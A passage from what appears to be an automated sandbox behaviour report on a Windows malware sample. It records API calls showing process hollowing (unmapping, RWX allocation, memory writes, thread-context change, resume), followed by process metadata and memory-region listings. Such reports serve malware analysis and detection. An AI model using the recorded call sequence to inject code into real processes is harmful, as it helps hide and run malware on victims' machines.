[37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0082.552] ReadProcessMemory (in: hProcess=0x110, lpBaseAddress=0x35d008, lpBuffer=0x19ee38, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x19ee38*, lpNumberOfBytesRead=0x0) returned 1 [0082.605] NtUnmapViewOfSection (ProcessHandle=0x110, BaseAddress=0x400000) returned 0x0 [0082.766] VirtualAllocEx (hProcess=0x110, lpAddress=0x400000, dwSize=0x9000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0082.768] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x400000, Buffer=0x25815a0*, NumberOfBytesToWrite=0x200, NumberOfBytesWritten=0x0 | out: Buffer=0x25815a0*, NumberOfBytesWritten=0x0) returned 0x0 [0082.876] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x401000, Buffer=0x25817a0*, NumberOfBytesToWrite=0x7200, NumberOfBytesWritten=0x0 | out: Buffer=0x25817a0*, NumberOfBytesWritten=0x0) returned 0x0 [0082.914] WriteProcessMemory (in: hProcess=0x110, lpBaseAddress=0x35d008, lpBuffer=0x2581654*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2581654*, lpNumberOfBytesWritten=0x0) returned 1 [0082.928] SetThreadContext (hThread=0x10c, lpContext=0x25b0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x35d000, Edx=0x0, Ecx=0x0, Eax=0x402dd8, Ebp=0x0, Eip=0x77248fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0082.929] ResumeThread (hThread=0x10c) returned 0x1 [0082.968] CloseHandle (hObject=0x10c) returned 1 [0082.968] CloseHandle (hObject=0x110) returned 1 [0082.968] ExitProcess (uExitCode=0x0) [0082.969] HeapFree (in: hHeap=0x4200000, dwFlags=0x0, lpMem=0x42005a8 | out: hHeap=0x4200000) returned 1 Thread: id = 2 os_tid = 0x1088 Process: id = "2" image_name = "80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" page_root = "0x544d6000" os_pid = "0xbf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x610" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 319 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 320 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 321 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 322 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 323 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 324 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 325 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 326 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 327 start_va = 0x400000 end_va = 0x24affff monitored = 1 entry_point = 0x416767 region_type = mapped_file name = "80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe") Region: id = 328 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 329 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 330 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 331 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 332 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 333 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 335 start_va = 0x400000 end_va = 0x408fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 336 start_va = 0x410000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 337 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 338 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 339 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 340 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 341 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 342 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 343 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 344 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 345 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 346 start_va = 0x410000 end_va = 0x4cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 347 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 348 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 349 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 350 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 351 start_va = 0x4d0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 352 start_va = 0x5d0000 end_va = 0x5f9fff monitored = 0 entry_point = 0x5d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 353 start_va = 0x610000 end_va = 0x797fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 354 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 355 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 356 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 357 start_va = 0x7a0000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 358 start_va = 0x930000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 359 start_va = 0x5e0000 end_va = 0x5e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 360 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 361 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 362 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 363 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 364 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 365 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id 